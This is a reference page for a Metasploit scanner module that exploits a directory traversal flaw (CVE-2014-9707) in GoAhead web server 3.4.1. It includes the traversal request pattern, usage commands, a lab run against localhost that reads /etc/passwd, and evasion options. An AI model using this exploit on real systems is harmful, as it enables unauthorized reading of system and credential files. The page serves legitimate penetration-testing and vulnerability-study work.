Embedthis GoAhead Embedded Web Server Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/goahead_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Embedthis GoAhead Embedded Web Server Directory Traversal
Module: auxiliary/scanner/http/goahead_traversal
Source code: modules/auxiliary/scanner/http/goahead_traversal.rb
Disclosure date: -
Last modification time: 2019-03-05 03:38:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-9707
This module exploits a directory traversal vulnerability in the Embedthis GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files with the web server privileges.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/goahead_traversal
msf auxiliary(goahead_traversal) > show options
... show and set options ...
msf auxiliary(goahead_traversal) > set RHOSTS ip-range
msf auxiliary(goahead_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(goahead_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(goahead_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(goahead_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
GoAhead web server by EmbedThis versions from 3.0.0 through 3.4.1 contains a directory traversal vulnerability.
To exploit this vulnerability, each ../
must be matched with a .x/
, with each being grouped together.
For instance a depth of 2 will look as follows: ../../.x/.x/foobar
.
An excellent writeup is available on PacketStorm.
Install on Kali
Since goahead
is available on Git, we can simply download the vulnerable version, compile, and run it.
root@kali:/tmp# wget https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
--2019-10-07 20:42:28-- https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
Resolving github.com (github.com)... 192.30.253.113
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1 [following]
--2019-10-07 20:42:29-- https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘v3.4.1.tar.gz’
v3.4.1.tar.gz [ <=> ] 5.95M 6.35MB/s in 0.9s
2019-10-07 20:42:30 (6.35 MB/s) - ‘v3.4.1.tar.gz’ saved [6234594]
root@kali:/tmp# tar -zxf v3.4.1.tar.gz
root@kali:/tmp# cd goahead-3.4.1/
root@kali:/tmp/goahead-3.4.1# make
make --no-print-directory -f projects/goahead-linux-default.mk all
[Info] Use make SHOW=1 to trace executed commands.
[Copy] build/linux-x64-default/bin/ca.crt
[Copy] build/linux-x64-default/inc/osdep.h
[Copy] build/linux-x64-default/inc/est.h
[Compile] build/linux-x64-default/obj/estLib.o
[Link] build/linux-x64-default/bin/libest.so
[Copy] build/linux-x64-default/inc/goahead.h
[Copy] build/linux-x64-default/inc/js.h
[Compile] build/linux-x64-default/obj/action.o
[Compile] build/linux-x64-default/obj/alloc.o
[Compile] build/linux-x64-default/obj/auth.o
[Compile] build/linux-x64-default/obj/cgi.o
[Compile] build/linux-x64-default/obj/crypt.o
[Compile] build/linux-x64-default/obj/file.o
[Compile] build/linux-x64-default/obj/fs.o
[Compile] build/linux-x64-default/obj/http.o
[Compile] build/linux-x64-default/obj/js.o
[Compile] build/linux-x64-default/obj/jst.o
[Compile] build/linux-x64-default/obj/options.o
[Compile] build/linux-x64-default/obj/osdep.o
[Compile] build/linux-x64-default/obj/rom-documents.o
[Compile] build/linux-x64-default/obj/route.o
[Compile] build/linux-x64-default/obj/runtime.o
[Compile] build/linux-x64-default/obj/socket.o
[Compile] build/linux-x64-default/obj/upload.o
[Compile] build/linux-x64-default/obj/est.o
[Compile] build/linux-x64-default/obj/matrixssl.o
[Compile] build/linux-x64-default/obj/nanossl.o
[Compile] build/linux-x64-default/obj/openssl.o
[Link] build/linux-x64-default/bin/libgo.so
[Compile] build/linux-x64-default/obj/goahead.o
[Link] build/linux-x64-default/bin/goahead
[Compile] build/linux-x64-default/obj/test.o
[Link] build/linux-x64-default/bin/goahead-test
[Compile] build/linux-x64-default/obj/gopass.o
[Link] build/linux-x64-default/bin/gopass
You can now install via "sudo make install" or run GoAhead via: "sudo make run"
To run locally, put linux-x64-default/bin in your path
root@kali:/tmp/goahead-3.4.1# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/http/goahead_traversal
- Do:
set rhosts [ip]
- Do:
set depth [number]
- Do:
run
- You should get the file contents.
Options
DEPTH
The depth to traverse from the webroot. This does not need to be exact, overshooting (using a number larger than needed)
will still result in the file being obtained. Default is 5
FILEPATH
The path to the file to read. Default is /etc/passwd
.
Scenarios
GoAhead 3.4.1 on Kali
Install from the instructions at the top of this document.
msf5 > use auxiliary/scanner/http/goahead_traversal
msf5 auxiliary(scanner/http/goahead_traversal) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/goahead_traversal) > set depth 5
depth => 5
msf5 auxiliary(scanner/http/goahead_traversal) > run
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
[+] File saved in: /root/.msf4/loot/20191007213309_default_127.0.0.1_goahead.traversa_324804.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Server Logs
When setting the server to verbose output, the following is shown during exploitation:
# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
goahead: 2: Configuration for Embedthis GoAhead
goahead: 2: ---------------------------------------------
goahead: 2: Version: 3.4.1
goahead: 2: BuildType: Debug
goahead: 2: CPU: x64
goahead: 2: OS: linux
goahead: 2: Host: 127.0.1.1
goahead: 2: Directory: /var/www/html/goahead-3.4.1/test
goahead: 2: Documents: /var/www/html/
goahead: 2: Configure: me -d -q -platform linux-x86-default -configure . -with est -gen make
goahead: 2: ---------------------------------------------
goahead: 2: Started http://*:80
goahead: 2: Started https://*:443
goahead: 2: GET ../../../../../.x/.x/.x/.x/.x/etc/passwd HTTP/1.1
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/goahead_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/goahead_traversal
msf6 auxiliary(scanner/http/goahead_traversal) > show info
Name: Embedthis GoAhead Embedded Web Server Directory Traversal
Module: auxiliary/scanner/http/goahead_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Matthew Daley
Roberto Soares Espreto <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability in the
Embedthis GoAhead Web Server v3.4.1, allowing an attacker to read
arbitrary files with the web server privileges.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-9707
https://packetstormsecurity.com/files/131156
Module Options
This is a complete list of options available in the scanner/http/goahead_traversal auxiliary module:
msf6 auxiliary(scanner/http/goahead_traversal) > show options
Module options (auxiliary/scanner/http/goahead_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/goahead_traversal auxiliary module:
msf6 auxiliary(scanner/http/goahead_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/goahead_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/goahead_traversal module can do:
msf6 auxiliary(scanner/http/goahead_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/goahead_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/goahead_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Nothing was downloaded
Here is a relevant code snippet related to the "Nothing was downloaded" error message:
62: ip,
63: res,
64: fname
65: )
66:
67: print_good("File saved in: #{path}")
68: else
69: print_error("Nothing was downloaded")
70: end
71: end
72: end
Go back to menu.
Related Pull Requests
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6396 Merged Pull Request: Fix PACKETSTORM warnings; improve msftidy to catch more
- #5312 Merged Pull Request: Various post-commit fixups
- #5132 Merged Pull Request: Pre-release fixups
- #5101 Merged Pull Request: Add Directory Traversal for GoAhead Web Server
References
See Also
Check also the following modules related to this module:
Authors
- Matthew Daley
- Roberto Soares Espreto <robertoespreto[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.